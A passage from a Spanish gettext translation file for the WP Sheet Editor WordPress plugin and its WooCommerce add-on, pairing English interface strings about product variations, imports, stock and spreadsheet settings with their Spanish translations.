ejemplo " "que contiene todo tipo de productos." #: woocommerce/inc/import-export.php:617 msgid "" "One variation row has a parent product that does not exist. The \"parent\" " "column contains the %1$s: %2$s. Please correct it and start a new import" msgstr "" "Una fila de variación tiene un producto padre que no existe. La columna " "\"padre\" contiene el %1$s: %2$s. Por favor, corrígelo e inicia una nueva " "importación" #: woocommerce/inc/variations.php:28 #: woocommerce/views/spreadsheet-create-variations-modal.php:10 #: woocommerce/views/spreadsheet-create-variations-modal.php:75 #: wp-sheet-editor/dev/inc/api/editor.php:324 msgid "Create variations" msgstr "Crear variaciones" #: woocommerce/inc/variations.php:30 msgid "Create and copy variations for variable products." msgstr "Crear y copiar variaciones para los productos variables." #: woocommerce/inc/variations.php:38 msgid "Display variations" msgstr "Mostrar las variaciones" #: woocommerce/inc/variations.php:40 msgid "" "When this is enabled the products variations will be displayed and you will " "be able to edit them." msgstr "" "Cuando esta opción está habilitada, las variaciones de los productos se " "mostrarán y podrás editarlas." #: woocommerce/inc/variations.php:362 msgid "Edit only parent products" msgstr "Editar solo los productos simples y padres" #: woocommerce/inc/variations.php:363 msgid "Edit only variations" msgstr "Editar solo las variaciones" #: woocommerce/inc/variations.php:410 msgid "Allow to edit this column on variation rows?" msgstr "¿Permitir editar esta columna en las filas de variaciones?" #: woocommerce/inc/variations.php:411 msgid "" "We automatically allow columns for variations if at least one variation is " "using that field." msgstr "" "Automáticamente, permitimos la edición de columnas en filas de variaciones " "si al menos una variación usa ese campo." #: woocommerce/inc/variations.php:458 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:889 msgid "Variation description" msgstr "Descripción de la variación" #: woocommerce/inc/variations.php:469 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:907 msgid "Variation enabled?" msgstr "¿Variación habilitada?" #: woocommerce/inc/variations.php:486 woocommerce/inc/variations.php:488 #: woocommerce/inc/variations.php:490 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:926 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:928 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:930 msgid "Default attributes" msgstr "Atributos predeterminados" #: woocommerce/inc/variations.php:491 msgid "" "Attributes appear as dropdowns in the product page where the user can select " "the variation colors, sizes, and any attribute. Here you can define the " "default options selected in the dropdowns.
                  Separate values with the " "character %s
                  This only works for Variable Products and it must have " "variations, otherwise the default attributes won't be saved." msgstr "" "Los atributos aparecen como desplegables en la página del producto, donde el " "usuario puede seleccionar los colores, tamaños y cualquier atributo de la " "variación. Aquí se pueden definir las opciones por defecto seleccionadas en " "los desplegables.
                  Separa los valores con el caracter %s
                  Esto solo " "funciona para Productos Variables y deben tener variaciones, de lo contrario " "los atributos por defecto no se guardarán." #: woocommerce/inc/variations.php:935 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:136 msgid "Variation: %s" msgstr "Variación: %s" #: woocommerce/inc/variations.php:1090 woocommerce/inc/variations.php:1260 msgid "" "Please update all the WP Sheet Editor plugins. This feature requires the " "latest version of all our plugins." msgstr "" "Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la " "última versión. Esta función requiere la última versión de todos nuestros " "plugins." #: woocommerce/inc/variations.php:1105 msgid "The source product doesn't have variations." msgstr "El producto fuente no tiene variaciones." #: woocommerce/inc/variations.php:1256 woocommerce/inc/variations.php:1283 #: wp-sheet-editor/dev/inc/ajax.php:198 msgid "Request not allowed. Try again later." msgstr "Solicitud no permitida. Inténtalo más tarde." #: woocommerce/inc/variations.php:1267 msgid "We don't have variations to copy." msgstr "No encontramos variaciones para copiar." #: woocommerce/inc/variations.php:1272 msgid "{total_created} of {total} variations created." msgstr "{total_created} de {total} variaciones han sido creadas." #: woocommerce/inc/variations.php:1364 woocommerce/inc/variations.php:1465 msgid "%s variations created." msgstr "%s variaciones creadas." #: woocommerce/inc/variations.php:1376 msgid "Target products not found." msgstr "Productos de destino no encontrados." #: woocommerce/inc/variations.php:1481 msgid "" "The option to create variations for every combination of attributes requires " "WooCommerce 3.0 or higher. Please update WooCommerce." msgstr "" "La opción de crear variaciones para cada combinación de atributos requiere " "WooCommerce 3.0 o superior. Por favor, actualiza WooCommerce." #: woocommerce/inc/variations.php:1485 msgid "User not allowed" msgstr "Usuario no autorizado" #: woocommerce/inc/variations.php:1489 msgid "Data missing, try again later." msgstr "Faltan datos, inténtalo de nuevo más tarde." #: woocommerce/inc/variations.php:1506 msgid "Wrong product type. Make sure it is a variable product." msgstr "Tipo de producto equivocado. Asegúrate que sea un producto variable." #: woocommerce/inc/variations.php:1621 msgid "Please select a source product." msgstr "Por favor, selecciona un producto de origen." #: woocommerce/inc/variations.php:1799 msgid "Error on row ID: %d - %s" msgstr "Error en la fila con el ID: %d - %s" #: woocommerce/inc/variations.php:1806 msgid "Please correct the error and save again." msgstr "Por favor, corrige el error y guarda de nuevo." #: woocommerce/views/spreadsheet-create-variations-modal.php:8 msgid "Variations Manager" msgstr "Gestor de Variaciones" #: woocommerce/views/spreadsheet-create-variations-modal.php:11 #: woocommerce/views/spreadsheet-create-variations-modal.php:15 msgid "Copy variations" msgstr "Copiar variaciones" #: woocommerce/views/spreadsheet-create-variations-modal.php:16 #: woocommerce/views/spreadsheet-create-variations-modal.php:76 msgid "Tutorial" msgstr "Tutorial" #: woocommerce/views/spreadsheet-create-variations-modal.php:20 msgid "Copy variations and attributes from this product:" msgstr "Copiar variaciones y atributos de este producto:" #: woocommerce/views/spreadsheet-create-variations-modal.php:27 msgid "I don't want to copy all the variations" msgstr "No quiero copiar todas las variaciones" #: woocommerce/views/spreadsheet-create-variations-modal.php:27 msgid "" "By default we will copy all the attributes and all the variations and " "replace the existing variations. You can activate this option to copy " "individual variations and append them to the existing variations in the " "target product." msgstr "" "Por defecto, copiaremos todos los atributos y todas las variaciones y " "reemplazaremos las variaciones existentes. Puedes habilitar esta opción para " "copiar variaciones individuales y añadirlas a las variaciones existentes en " "el producto de destino." #: woocommerce/views/spreadsheet-create-variations-modal.php:31 msgid "Which variations do you want to copy?" msgstr "¿Qué variaciones quieres copiar?" #: woocommerce/views/spreadsheet-create-variations-modal.php:39 #: woocommerce/views/spreadsheet-create-variations-modal.php:80 msgid "The variations are for these products: " msgstr "Las variaciones son para este/estos producto(s): " #: woocommerce/views/spreadsheet-create-variations-modal.php:39 #: woocommerce/views/spreadsheet-create-variations-modal.php:80 msgid "Copy the variations into these products." msgstr "Copiar las variaciones este/estos producto(s)." #: woocommerce/views/spreadsheet-create-variations-modal.php:42 #: woocommerce/views/spreadsheet-create-variations-modal.php:83 msgid "Select individual products" msgstr "Seleccionar productos individuales" #: woocommerce/views/spreadsheet-create-variations-modal.php:43 #: woocommerce/views/spreadsheet-create-variations-modal.php:84 msgid "Select all the products from a search" msgstr "Seleccionar todos los productos de una búsqueda" #: woocommerce/views/spreadsheet-create-variations-modal.php:44 msgid "All the products in the store" msgstr "Todos los productos de la tienda" #: woocommerce/views/spreadsheet-create-variations-modal.php:46 #: woocommerce/views/spreadsheet-create-variations-modal.php:87 msgid "I understand it will update the products from my search." msgstr "Entiendo que se editarán los productos de mi búsqueda." #: woocommerce/views/spreadsheet-create-variations-modal.php:46 #: woocommerce/views/spreadsheet-create-variations-modal.php:87 msgid "" "For example, if you searched for posts by author = Mark using the search " "tool, we will update only posts with author Mark" msgstr "" "Por ejemplo, si buscaste los posts por autor = Marcos usando la herramienta " "de búsqueda, actualizaremos sólo los posts con el autor Marcos" #: woocommerce/views/spreadsheet-create-variations-modal.php:53 msgid "Show advanced options " msgstr "Mostrar opciones avanzadas " #: woocommerce/views/spreadsheet-create-variations-modal.php:56 msgid "Use prices from simple product (parent) on the variations" msgstr "Usar los precios del producto simple (Padre) para las variaciones" #: woocommerce/views/spreadsheet-create-variations-modal.php:56 msgid "" "You can convert simple products into variable products. You can copy " "variations into a simple product and keep the prices from the simple product " "on the variations." msgstr "" "Puedes convertir productos simples en productos variables. Puedes copiar las " "variaciones en un producto simple y mantener los precios del producto simple " "en las variaciones." #: woocommerce/views/spreadsheet-create-variations-modal.php:60 msgid "Only copy new variations" msgstr "Copiar solo las variaciones nuevas" #: woocommerce/views/spreadsheet-create-variations-modal.php:60 msgid "" "The existing variations in the target products will not be edited nor " "overwritten." msgstr "" "Las variaciones existentes en los productos de destino no serán editadas ni " "sobrescritas." #: woocommerce/views/spreadsheet-create-variations-modal.php:64 msgid "Do not copy the variation images?" msgstr "¿No copiar las imágenes de las variaciones?" #: woocommerce/views/spreadsheet-create-variations-modal.php:64 msgid "" "Enable this option if you want to copy all the variation data, except the " "variation image." msgstr "" "Habilita esta opción si quieres copiar todos los datos de la variación, " "excepto la imagen de la variación." #: woocommerce/views/spreadsheet-create-variations-modal.php:67 msgid "" "Warning: Please make a backup before copying variations in case you want to " "undo the changes later." msgstr "" "Advertencia: Por favor, haz una copia de seguridad en caso de que quieras " "deshacer los cambios después." #: woocommerce/views/spreadsheet-create-variations-modal.php:85 msgid "All the variable products" msgstr "Todos los productos variables" #: woocommerce/views/spreadsheet-create-variations-modal.php:96 msgid "Create variations for every combination of attributes?" msgstr "¿Crear variaciones para cada combinación de atributos?" #: woocommerce/views/spreadsheet-create-variations-modal.php:99 msgid "Create this number of variations" msgstr "Crear este número de variaciones" #: woocommerce/views/spreadsheet-search-on-variation.php:3 msgid "Search on variations?" msgstr "¿Buscar variaciones?" #: woocommerce/views/spreadsheet-search-on-variation.php:3 msgid "" "All the parameters will be used to search on variations instead of the main " "products." msgstr "" "Todos los parámetros se utilizarán para buscar variaciones en lugar de los " "productos principales." #: woocommerce/views/variation-metabox-shortcut.php:10 msgid "" "WP Sheet Editor: You can view all these variations and edit them all " "at once in our spreadsheet. Open in a " "spreadsheet" msgstr "" "WP Sheet Editor: Puedes ver todas estas variaciones y editarlas todas " "a la vez en nuestra hoja de cálculo. Abrir " "en una hoja de cálculo" #: woocommerce/woocommerce.php:181 msgid "Remove duplicates by sku (delete the latest)" msgstr "Borrar duplicados por SKU (borrar los más nuevos)" #: woocommerce/woocommerce.php:189 msgid "Remove duplicates by sku (delete the oldest)" msgstr "Borrar duplicados por SKU (borrar los más viejos)" #: woocommerce/woocommerce.php:213 msgid "Copy regular price and decrease number" msgstr "Copiar el precio normal y disminuir en cantidad" #: woocommerce/woocommerce.php:230 msgid "Copy regular price and decrease by percentage" msgstr "Copiar precio normal y disminuir en porcentaje" #: woocommerce/woocommerce.php:278 msgid "Copy variations faster: Number of variations to copy per batch" msgstr "Copiar variaciones más rápido: Número de variaciones a copiar por lote" #: woocommerce/woocommerce.php:279 msgid "" "Here you can control the batch size for the copy of variations. If you use a " "high number the copy will finish faster but it can saturate your server. We " "recommend a low value like 50 so it will not saturate your server although " "it might be slower" msgstr "" "Aquí puedes controlar cuántas variaciones copiaremos en cada tanda. Si usas " "un valor alto, la copia terminará más rápido pero puede saturar tu servidor. " "Recomendamos copiar 50 por tanda." #: woocommerce/woocommerce.php:284 msgid "WooCommerce products" msgstr "Productos WooCommerce" #: woocommerce/woocommerce.php:289 msgid "Disable product inventory stats?" msgstr "¿Deshabilitar las estadísticas de inventario de productos?" #: woocommerce/woocommerce.php:290 msgid "" "The WooCommerce products spreadsheet automatically generates inventory units " "and inventory price stats and shows the stats above the spreadsheet. This " "can slow down the sheet if you have several thousand products. Disable it if " "the spreadsheet is too slow or you see errors when loading rows." msgstr "" "La hoja de cálculo de productos de WooCommerce genera automáticamente las " "unidades de inventario y las estadísticas de precios de inventario y muestra " "las estadísticas encima de la hoja de cálculo. Esto puede ralentizar la hoja " "si tienes varios miles de productos. Desactívalo si la hoja de cálculo es " "demasiado lenta o ves errores al cargar las filas." #: woocommerce/woocommerce.php:296 msgid "Use separate columns for images during export and import?" msgstr "" "¿Usar columnas separadas para las imágenes durante la exportación e " "importación?" #: woocommerce/woocommerce.php:297 msgid "" "By default, we export and import one column named \"Images\" with the " "featured image and gallery images combined. Activate this option to export " "and import one column with featured image and one column with gallery images" msgstr "" "Por defecto, exportamos e importamos una columna llamada \"Imágenes\" con la " "imagen destacada y galería combinada. Habilita esta opción para exportar e " "importar una columna para la imagen destacada y una para la galería de " "imágenes." #: woocommerce/woocommerce.php:303 msgid "" "Disable the automatic activation of \"used for variations\" for attributes " "on variable products?" msgstr "" "¿Deshabilitar la activación automática de la opción \"Usar para " "variaciones\" para los atributos en los productos variables?" #: woocommerce/woocommerce.php:304 msgid "" "By default, if the product is variable, we activate \"used for variations\" " "to save you time, so you can create your variations faster. But if you " "prefer to manually activate it on specific attributes, you can activate this " "option." msgstr "" "Por defecto, si el producto es variable, activamos la opción \"Usar para " "variaciones\" para ahorrarte tiempo y que puedas crear tus variaciones más " "rápido. Pero si prefieres activar esa opción manualmente en atributos " "específicos, puedes activar esta opción." #: woocommerce/woocommerce.php:310 msgid "" "Disable the automatic activation of \"is visible\" for attributes on " "products?" msgstr "" "¿Deshabilitar la activación automática de la opción \"Es visible\" para los " "atributos de los productos?" #: woocommerce/woocommerce.php:311 msgid "" "By default, we make the attributes visible in the products when you save any " "attribute in the spreadsheet to save you time, but if you prefer to manually " "activate it on specific attributes, you can activate this option." msgstr "" "Por defecto, hacemos visibles los atributos en los productos cuando guardas " "cualquier atributo en la hoja de cálculo para ahorrarte tiempo, pero si " "prefieres habilitar esta opción manualmente en atributos específicos, puedes " "activar esta opción." #: woocommerce/woocommerce.php:317 msgid "Product attributes not visible" msgstr "Atributos de producto no visibles" #: woocommerce/woocommerce.php:318 msgid "" "The plugin will mark as visible all the attributes that DONT contain these " "keywords in the attribute key, enter multiple separated by comma. I.e. " "\"car, airplane\" would match \"Car model, Car marker, Expensive Airplane, " "airplanes\". This applies after editing a product in the spreadsheet cells." msgstr "" "El plugin marcará como visibles todos los atributos que NO contengan estas " "palabras clave en la clave del atributo, ingresa varias separadas por comas. " "Por ejemplo, \"coche, avión\" coincidiría con \"Modelo de coche, Marca de " "coche, Avión caro, Aviones\". Esto se aplica después de editar un producto " "en las celdas de la hoja de cálculo." #: woocommerce/woocommerce.php:323 msgid "Product attributes not used for variations" msgstr "Atributos de producto no usados para las variaciones" #: woocommerce/woocommerce.php:324 msgid "" "The plugin will mark as used for variations all the attributes that DONT " "contain these keywords in the attribute key, enter multiple separated by " "comma. I.e. \"car, airplane\" would match \"Car model, Car marker, Expensive " "Airplane, airplanes\". This applies after editing a product in the " "spreadsheet cells." msgstr "" "El plugin marcará como usados para variaciones todos los atributos que NO " "contengan estas palabras clave en la clave del atributo, ingresa varias " "separadas por comas. Por ejemplo, \"coche, avión\" coincidiría con \"Modelo " "de coche, Marca de coche, Avión caro, Aviones\". Esto se aplica después de " "editar un producto en las celdas de la hoja de cálculo." #: woocommerce/woocommerce.php:329 msgid "Maximum number of variations per combination of attributes" msgstr "Número máximo de variaciones por combinación de atributos" #: woocommerce/woocommerce.php:330 msgid "" "The \"Create variations\" tool allows you to create variation based on the " "combination of attributes. The default limit is 200 variations to not " "overload your server. You can increase the limit here if you need more " "variations." msgstr "" "La herramienta \"Crear variaciones\" te permite crear variaciones basadas en " "la combinación de atributos. El límite por defecto es de 200 variaciones " "para no sobrecargar tu servidor. Puedes aumentar el límite aquí si necesitas " "más variaciones." #: woocommerce/woocommerce.php:335 msgid "Custom attribute names" msgstr "Nombres de atributos personalizados" #: woocommerce/woocommerce.php:336 msgid "We will create columns for these custom attributes." msgstr "Crearemos columnas para estos atributos personalizados." #: woocommerce/woocommerce.php:341 msgid "Allow to see the variation URL slug?" msgstr "¿Permitir ver el slug de la URL de la variación?" #: woocommerce/woocommerce.php:342 msgid "" "Variations dont use URL slugs but this can be useful if you want to see the " "previous URL of the variation after you converted a simple product into a " "variation." msgstr "" "Las variaciones no usan URL slugs pero esto puede ser útil si quieres ver la " "URL anterior de la variación después de convertir un producto simple en una " "variación." #: woocommerce/woocommerce.php:348 msgid "Update the lookup table and run the WC Webhooks always?" msgstr "" "¿Actualizar la tabla de consulta y ejecutar siempre los Webhooks de " "WooCommerce?" #: woocommerce/woocommerce.php:349 msgid "" "By default, for performance reasons, we trigger the WC API events when " "fields related to WC are edited: Prices, SKU, Stock, Attributes, Images, " "Type. Activate this option if you want to trigger the WC API events when any " "field is edited, including fields unrelated to WC." msgstr "" "Por defecto, por razones de rendimiento, activamos los eventos de la API WC " "cuando se editan los campos relacionados con WC: Precios, SKU, Existencias, " "Atributos, Imágenes, Tipo. Activa esta opción si quieres activar los eventos " "de la API de WC cuando se edite cualquier campo, incluidos los campos no " "relacionados con WC." #. translators: %d: Attribute number #: woocommerce/woocommerce.php:403 woocommerce/woocommerce.php:422 msgid "Attribute name" msgstr "Nombre del atributo" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:405 woocommerce/woocommerce.php:424 msgid "Attribute value(s)" msgstr "Valor(es) del atributo" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:407 woocommerce/woocommerce.php:426 msgid "Attribute visibility" msgstr "Visibilidad del atributo" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:409 woocommerce/woocommerce.php:428 msgid "Is a global attribute?" msgstr "¿Es un atributo global?" #. translators: %d: Attribute number #: woocommerce/woocommerce.php:411 woocommerce/woocommerce.php:430 msgid "Default attribute" msgstr "Atributo por defecto" #. translators: %d: Download number #: woocommerce/woocommerce.php:413 woocommerce/woocommerce.php:432 msgid "Download name" msgstr "Nombre de la descarga" #. translators: %d: Download number #: woocommerce/woocommerce.php:415 woocommerce/woocommerce.php:434 msgid "Download URL" msgstr "URL de la descarga" #. translators: %d: Meta number #: woocommerce/woocommerce.php:417 msgid "Meta: %s" msgstr "Meta: %s" #. translators: %d: Meta number #: woocommerce/woocommerce.php:417 woocommerce/woocommerce.php:436 msgid "Import as meta data" msgstr "Importar como metadatos" #: woocommerce/woocommerce.php:418 wp-sheet-editor/dev/inc/ajax.php:358 msgid "Tags" msgstr "Etiquetas" #: woocommerce/woocommerce.php:418 woocommerce/woocommerce.php:437 msgid "Tags (comma separated)" msgstr "Etiquetas (separadas por comas)" #: woocommerce/woocommerce.php:514 msgid "Inventory" msgstr "Inventario" #: woocommerce/woocommerce.php:576 msgid "" "We need to reload the spreadsheet rows to load the variations. Please save " "your changes first or you will lose those changes. Do you want to reload now?" msgstr "" "Necesitamos recargar las filas de la hoja de cálculo para cargar las " "variaciones. Por favor, guarda los cambios primero o los perderás. ¿Quieres " "recargar ahora?" #: woocommerce/woocommerce.php:577 msgid "" "We need to reload the Spreadsheet to remove the variations. Please save your " "changes first or you will lose those changes. Do you want to reload now?" msgstr "" "Necesitamos recargar la hoja de cálculo para eliminar las variaciones. Por " "favor, guarda los cambios primero o los perderás. ¿Quieres recargar ahora?" #: woocommerce/woocommerce.php:625 #: wp-sheet-editor/dev/inc/teasers/post-types.php:109 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:461 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:462 msgid "Short description" msgstr "Descripción corta" #: woocommerce/woocommerce.php:629 #: wp-sheet-editor/dev/inc/teasers/post-types.php:121 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:466 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:467 msgid "Enable reviews" msgstr "Habilitar las valoraciones" #: woocommerce/woocommerce.php:651 wp-sheet-editor/dev/inc/api/helpers.php:540 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:976 msgid "..." msgstr "..." #: woocommerce/woocommerce.php:682 msgid "Vendor" msgstr "Vendedor" #: woocommerce/woocommerce.php:722 msgid "Product gallery" msgstr "Galería del producto" #: woocommerce/woocommerce.php:737 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:509 msgid "SKU" msgstr "SKU" #: woocommerce/woocommerce.php:750 #: wp-sheet-editor/dev/inc/teasers/post-types.php:112 msgid "Regular price" msgstr "Precio normal" #: woocommerce/woocommerce.php:765 #: wp-sheet-editor/dev/inc/teasers/post-types.php:111 msgid "Sale price" msgstr "Precio rebajado" #: woocommerce/woocommerce.php:778 msgid "Sale start date" msgstr "Fecha inicial del precio rebajado" #: woocommerce/woocommerce.php:804 msgid "Sale end date" msgstr "Fecha final del precio rebajado" #: woocommerce/woocommerce.php:829 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:594 msgid "Manage stock" msgstr "Gestionar de inventario" #: woocommerce/woocommerce.php:849 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:612 msgid "Stock status" msgstr "Estado del inventario" #: woocommerce/woocommerce.php:866 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:630 msgid "Stock" msgstr "Inventario" #: woocommerce/woocommerce.php:879 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:547 msgid "Weight" msgstr "Peso (kg)" #: woocommerce/woocommerce.php:890 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:559 msgid "Width" msgstr "Anchura" #: woocommerce/woocommerce.php:901 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:571 msgid "Height" msgstr "Altura" #: woocommerce/woocommerce.php:912 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:583 msgid "Length" msgstr "Longitud" #: woocommerce/woocommerce.php:922 msgid "Cross-sells" msgstr "Ventas cruzadas" #: woocommerce/woocommerce.php:929 woocommerce/woocommerce.php:946 msgid "Enter multiple SKUs or IDs separated by commas" msgstr "Ingresa varios SKUs o IDs separados por comas" #: woocommerce/woocommerce.php:939 msgid "Upsells" msgstr "Ventas dirigidas" #: woocommerce/woocommerce.php:958 #: wp-sheet-editor/dev/inc/teasers/post-types.php:116 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:642 msgid "Visibility" msgstr "Visibilidad" #: woocommerce/woocommerce.php:974 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:684 msgid "Virtual" msgstr "Virtual" #: woocommerce/woocommerce.php:993 #: wp-sheet-editor/dev/inc/teasers/post-types.php:119 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:724 msgid "Sold individually" msgstr "Vendido individualmente" #: woocommerce/woocommerce.php:1010 msgid "Is featured?" msgstr "Es destacado?" #: woocommerce/woocommerce.php:1028 msgid "Backorders allowed?" msgstr "¿Permitir reservas?" #: woocommerce/woocommerce.php:1034 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:762 msgid "Do not allow" msgstr "No permitir" #: woocommerce/woocommerce.php:1035 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:763 msgid "Allow, but notify customer" msgstr "Permitir, pero se avisará al cliente" #: woocommerce/woocommerce.php:1036 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:764 msgid "Allow" msgstr "Permitir" #: woocommerce/woocommerce.php:1049 #: wp-sheet-editor/dev/inc/teasers/post-types.php:120 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:776 msgid "Purchase note" msgstr "Nota de compra" #: woocommerce/woocommerce.php:1061 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:789 msgid "Shipping class" msgstr "Clase de envío" #: woocommerce/woocommerce.php:1076 msgid "Average rating" msgstr "Puntuación media" #: woocommerce/woocommerce.php:1086 msgid "Review count" msgstr "Recuento de valoraciones" #: woocommerce/woocommerce.php:1096 msgid "Total sales" msgstr "Ventas totales" #: wp-sheet-editor/dev/inc/ajax.php:40 msgid "Rows deleted successfully" msgstr "Filas eliminadas con éxito" #: wp-sheet-editor/dev/inc/ajax.php:76 msgid "You dont have enough permissions to load rows." msgstr "No tienes suficientes permisos para cargar filas." #: wp-sheet-editor/dev/inc/ajax.php:123 wp-sheet-editor/dev/inc/ajax.php:240 #: wp-sheet-editor/dev/inc/ajax.php:244 msgid "You dont have enough permissions to save changes." msgstr "No tienes suficientes permisos para guardar los cambios." #: wp-sheet-editor/dev/inc/ajax.php:148 msgid "Changes saved successfully" msgstr "Los cambios se guardaron con éxito" #: wp-sheet-editor/dev/inc/ajax.php:163 msgid "You dont have enough permissions to create new rows." msgstr "No tienes suficientes permisos para crear nuevas filas." #: wp-sheet-editor/dev/inc/ajax.php:218 msgid "No items found." msgstr "No se han encontrado artículos." #: wp-sheet-editor/dev/inc/ajax.php:269 msgid "Saved: %s" msgstr "Guardado: %s" #: wp-sheet-editor/dev/inc/ajax.php:288 wp-sheet-editor/dev/inc/ajax.php:313 #: wp-sheet-editor/dev/inc/ajax.php:386 msgid "You dont have enough permissions to search taxonomy terms." msgstr "No tienes suficientes permisos para buscar taxonomías." #: wp-sheet-editor/dev/inc/ajax.php:336 msgid "No taxonomies found." msgstr "No se han encontrado taxonomías." #: wp-sheet-editor/dev/inc/api/bootstrap.php:107 msgid "Open in a Spreadsheet" msgstr "Abrir en una Hoja de Cálculo" #: wp-sheet-editor/dev/inc/api/bootstrap.php:132 #: wp-sheet-editor/dev/inc/api/columns.php:314 #: wp-sheet-editor/dev/inc/teasers/post-types.php:61 msgid "Edit %s" msgstr "Editar %s" #: wp-sheet-editor/dev/inc/api/bootstrap.php:209 #: wp-sheet-editor/dev/views/support-modal.php:6 #: wp-sheet-editor/dev/views/usage-stats-widget.php:126 msgid "Help" msgstr "Ayuda" #: wp-sheet-editor/dev/inc/api/bootstrap.php:223 #: wp-sheet-editor/dev/views/whats-new.php:45 #: wp-sheet-editor/dev/wp-sheet-editor.php:1148 msgid "Extensions" msgstr "Extensiones" #: wp-sheet-editor/dev/inc/api/bootstrap.php:238 #: wp-sheet-editor/dev/views/editor-page.php:159 msgid "Global sort" msgstr "Orden global" #: wp-sheet-editor/dev/inc/api/bootstrap.php:250 msgid "We'll reload the spreadsheet when you change this option." msgstr "Recargaremos la hoja de cálculo cuando cambies esta opción." #: wp-sheet-editor/dev/inc/api/bootstrap.php:252 msgid "Sort" msgstr "Ordenar" #: wp-sheet-editor/dev/inc/api/bootstrap.php:277 #: wp-sheet-editor/dev/inc/api/editor.php:351 msgid "You can create new items here" msgstr "Puedes crear nuevas filas aquí" #: wp-sheet-editor/dev/inc/api/bootstrap.php:288 msgid "Load" msgstr "Cargar" #: wp-sheet-editor/dev/inc/api/bootstrap.php:299 msgid "Exit Full Screen" msgstr "Salir del modo de Pantalla Completa" #: wp-sheet-editor/dev/inc/api/bootstrap.php:310 msgid "Show cells as simple text" msgstr "Mostrar las celdas como texto simple" #: wp-sheet-editor/dev/inc/api/bootstrap.php:313 msgid "" "By default dates show in a calendar, post content has a text editor option, " "images show preview, etc. you can enable this option to display everything " "as plain text and disable the fancy formatting." msgstr "" "Por defecto, las fechas se muestran en un calendario, el contenido del post " "tiene una opción de editor de texto, las imágenes muestran una vista previa, " "etc. Puedes habilitar esta opción para que se muestre todo como texto sin " "formato y deshabilitar el formato elegante." #: wp-sheet-editor/dev/inc/api/bootstrap.php:324 msgid "Load more on scroll" msgstr "Cargar más al hacer scroll" #: wp-sheet-editor/dev/inc/api/bootstrap.php:327 msgid "" "When this is enabled more items will be loaded to the bottom of the " "spreadsheet when you reach the end of the page" msgstr "" "Cuando esta opción está habilitada, se cargarán más elementos en la parte " "inferior de la hoja de cálculo cuando llegues al final de la página" #: wp-sheet-editor/dev/inc/api/bootstrap.php:339 msgid "Scan DB to find fields" msgstr "Escanear la BD para encontrar campos" #: wp-sheet-editor/dev/inc/api/bootstrap.php:343 msgid "" "We can scan the database, find new fields, and create columns automatically " "for the supported fields." msgstr "" "Podemos escanear la base de datos, encontrar nuevos campos y crear columnas " "automáticamente para los campos soportados." #: wp-sheet-editor/dev/inc/api/bootstrap.php:358 #: wp-sheet-editor/dev/inc/api/bootstrap.php:359 msgid "All changes saved." msgstr "Todos los cambios fueron guardados." #: wp-sheet-editor/dev/inc/api/bootstrap.php:358 msgid "Saving changes, don't close this page." msgstr "Guardando cambios, por favor no cierres esta página." #: wp-sheet-editor/dev/inc/api/bootstrap.php:358 msgid "Some changes are not saved yet." msgstr "Algunos cambios no han sido guardados todavía." #: wp-sheet-editor/dev/inc/api/bootstrap.php:518 #: wp-sheet-editor/dev/inc/api/bootstrap.php:544 msgid "Content" msgstr "Contenido" #: wp-sheet-editor/dev/inc/api/bootstrap.php:529 msgid "" "Use this editor to edit the content only, other fields like tags and " "categories should be edited on the spreadsheet." msgstr "" "Usa este editor para editar sólo el contenido, otros campos como etiquetas y " "categorías deben ser editados en la hoja de cálculo." #: wp-sheet-editor/dev/inc/api/bootstrap.php:569 #: wp-sheet-editor/dev/inc/api/editor.php:378 msgid "WP Editor" msgstr "Editor de WP" #: wp-sheet-editor/dev/inc/api/bootstrap.php:593 msgid "View" msgstr "Ver" #: wp-sheet-editor/dev/inc/api/bootstrap.php:643 msgid "Modified Date" msgstr "Fecha de modificación" #: wp-sheet-editor/dev/inc/api/bootstrap.php:682 msgid "Excerpt" msgstr "Extracto" #: wp-sheet-editor/dev/inc/api/bootstrap.php:695 msgid "Delete completely" msgstr "Eliminar completamente" #: wp-sheet-editor/dev/inc/api/bootstrap.php:774 msgid "Order" msgstr "Orden" #: wp-sheet-editor/dev/inc/api/bootstrap.php:837 msgid "Enter multiple terms separated by %s" msgstr "Ingresa varios términos separados por %s" #: wp-sheet-editor/dev/inc/api/bootstrap.php:866 msgid "Post type" msgstr "Post type" #: wp-sheet-editor/dev/inc/api/bootstrap.php:890 msgid "Password" msgstr "Contraseña" #: wp-sheet-editor/dev/inc/api/editor.php:207 msgid "" "\n" "(You can remove these help messages in the advanced settings)" msgstr "" "\n" "(Puedes remover estos mensajes de ayuda en los ajustes avanzados)" #: wp-sheet-editor/dev/inc/api/editor.php:226 msgid "Pro" msgstr "Pro" #: wp-sheet-editor/dev/inc/api/editor.php:227 msgid "Enable" msgstr "Habilitar" #: wp-sheet-editor/dev/inc/api/editor.php:283 msgid "Please select at least one column to import" msgstr "Por favor, selecciona al menos una columna a importar" #: wp-sheet-editor/dev/inc/api/editor.php:284 msgid "Show column key" msgstr "Mostrar la clave de la columna" #: 